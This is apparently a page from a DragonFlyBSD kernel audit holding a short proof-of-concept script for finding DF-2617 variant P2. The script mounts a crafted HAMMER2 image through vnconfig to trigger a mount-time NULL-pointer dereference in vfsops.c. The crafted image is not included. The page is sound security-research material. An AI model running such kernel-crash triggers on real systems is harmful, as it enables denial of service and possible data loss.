DragonFlyBSD Kernel Audit
DF-2617 / trigger_P2.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2617 variant P2: PFS "testvol" INODE bref data_off=0 -> mount-time NULL
# deref at vfsops.c:1392 strcmp(label, chain->data->ipdata.filename)
# (mount-path variant of the chain.c:2496 parent->data->ipdata deref).
LOG=/root/poc/df2617/run_P2.log
exec > $LOG 2>&1
set -x
uname -a
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 /root/poc/df2617/P2.img
mkdir -p /mnt/h2
mount -t hammer2 -o ro /dev/vn0@testvol /mnt/h2
echo MOUNT_RC=$?
ls /mnt/h2
echo P2_DONE